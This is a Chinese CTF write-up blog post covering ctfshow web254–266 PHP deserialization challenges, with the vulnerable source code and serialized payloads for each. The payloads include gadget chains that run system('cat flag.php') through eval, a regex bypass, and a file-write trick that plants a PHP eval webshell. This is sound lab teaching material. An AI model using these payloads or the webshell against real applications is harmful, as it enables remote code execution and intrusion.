ctfshow web入门 反序列化(持续更新)

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

payload:

?username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

想要得到flag,需要触发vipOneKeyGetFlag()函数,需要让isVip这个参数为true,也就是在序列化时,要让isVip=true

序列化代码:

<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>

payload:

?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

这题不仅仅需要get传username和password,还需要cookie传一个序列化后的user,可以用burp抓包,在里面将cookie值改为"user=xxxxxx"。(注意:这个值需要经过url编码)
在这里插入图片描述

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析代码,这题和上一题的区别就是get传入的username和password必须不相等。

序列化代码:

<?php
class ctfShowUser{
    public $username='shyshy';
    public $password='xxxxxx';
    public $isVip=true;
}
$a=new ctfShowUser();
$b=serialize($a);
echo urlencode($b);
?>

payload:

?username=shyshy&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22shyshy%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这题eval函数在类backDoor中,可以用类ctfShowUser中的构造函数__construtc()来创建一个新的backDoor对象,在利用backDoor的变量$code来执行cat flag.php

序列化代码:

<?php
class ctfShowUser{
    private $class = ' ';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat flag.php");';
    }
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;

payload:

?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题想过滤“O:数字”的格式,只需要在数字前加一个+,就可以绕过

序列化代码:

<?php
class ctfShowUser
{
    public $class ;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor
{
    public $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=urlencode(serialize($a));
echo $b;

payload:

?username=xxxxxx&password=xxxxxx
user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web259

大佬的博客看的我有点懵逼,日后一定补上。

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

上一题和这一题之间的跳跃有点大,这题就是序列化的前面要有字符串ctfshow_i_love_36D,那直接get传这个字符串就行
payload:

?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

首先,ctfshowvip这个类中定义了__wakeup()__unserialize()两个方法,那么只有__unserialize()会生效,__wakeup()方法会失效。
这题有两个地方,一个是__invoke()方法中的eval()函数,另一个是__destruct()方法中的file_put_contents()函数,这里eval()函数没什么利用点,所以用另一个。
在__unserialize()中,会将username和password拼接起来赋值给$code,然后到__destruct()中与0x36d比较,相等就能写文件,注意这里是==,弱比较,所以877.php==0x36d

<?php
class ctfshowvip{
	public $username;
    public $password;

	public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));

payload:

vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3B%7D

web262

wp在php反序列化字符串逃逸学习

web263

看这篇博客PHP session反序列化漏洞

web264

和前面反序列化字符串逃逸类似,只不是这里把cookie改成了session,无法通过直接改cookie来实现,而要操作session,相当于把前面两题结合在一起了吧(套起来了)

GET:

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php,因为if(isset($_COOKIE['msg'])),所以在cookie中添加一个msg=1,即可得到flag

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这题主要是&的使用,可以本地试下面的代码

<?php
$a = 1;
$b = &$a;
$b = 3;
echo $a;
echo '<br>';
echo $b;

可以发现$a的值随着$b变化,那么这题也让password随着token变化就可以了

poc

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token='a';
        $this->password = &$this->token;
    }
}

$a = new ctfshowAdmin();
echo urlencode(serialize($a));

payload:

?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这题如果遇到正则,程序运行会抛出异常,也就无法触发__destruct()魔术方法,而php中类和函数名都不区分大小写,只有变量名区分。

<?php
class ctfshow{
}

$a = new ctfshow();
echo serialize($a);

在post传参时,把ctfshow的c改为大写即可。
请添加图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值